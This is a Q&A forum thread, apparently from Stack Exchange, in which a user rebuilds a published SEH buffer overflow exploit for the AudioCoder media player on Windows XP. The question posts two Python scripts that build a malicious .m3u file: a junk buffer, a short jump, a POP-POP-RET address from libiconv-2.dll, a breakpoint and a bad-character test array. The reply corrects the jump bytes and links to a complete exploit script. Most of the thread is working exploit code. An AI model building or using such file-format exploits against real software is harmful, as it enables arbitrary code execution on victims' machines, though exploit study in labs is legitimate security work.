2

I am trying to recreate the exploit linked here on Windows XP Professional SP2[x86]. I am building the exploit one step at a time. I have this snippet of code in Python3:

f = open("crash.m3u", "wb")
head = b"http://"
junk = b"A" * 765
# SEH Chain overwritten with this
err = b"\x90\x90\xEB\x04" # NOP NOP JMP 0x6
ppr = b"\xEE\x04\x01\x66" # 0x660104EE contains PPR sequence from C:\Program Files\AudioCoder\libiconv-2.dll
shellcode = b"\xCC"
f.write(head+junk+err+ppr+shellcode)
f.close()
print("m3u File Created successfully")

When I import this file into the application, it crashes and code halts at the place where I put in the 'CC' instruction. So far, so good.

Then I create another file just to see the bad characters that I need to avoid:

f = open("crash.m3u", "wb")
head = b"http://"
junk = b"A" * 765
# SEH Chain overwritten with this
err = b"\x90\x90\xEB\x04" # NOP NOP JMP 0x6
ppr = b"\xEE\x04\x01\x66" # 0x660104EE contains PPR sequence from C:\Program Files\AudioCoder\libiconv-2.dll
shellcode = b"\xCC"
# Testing bad characters
shellcode += (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
+ b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
+ b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
+ b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
+ b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
+ b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
+ b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
+ b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
+ b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
+ b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
+ b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
+ b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
+ b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
+ b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
+ b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
+ b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
f.write(head+junk+err+ppr+shellcode)
f.close()
print("m3u File Created successfully")

What I figured would happen is that the application would halt because of the 'CC' instruction and I would then inspect the area in the stack for the bad characters. However, when I import this file, the application seems to go on an infinite loop. The debugger doesn't halt the application, which is weird since the 'CC' instruction should have! Why would this be?

3

Already replied to you in the mailing list, But as this may help someone else,

err = "\x90\x90\xEB\x04" # NOP NOP JMP 0x6 This JMP instruction is wrong. I suppose it's \xEB\x06. Also this is little endian and it should be like err="\xeb\x06\x90\x90"

You can compare your exploit code with this: https://github.com/ajinabraham/Exploit-Research-Ported/blob/master/seh%20buffer%20overflow%20audio%20coder%200.8.18.5353.py

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.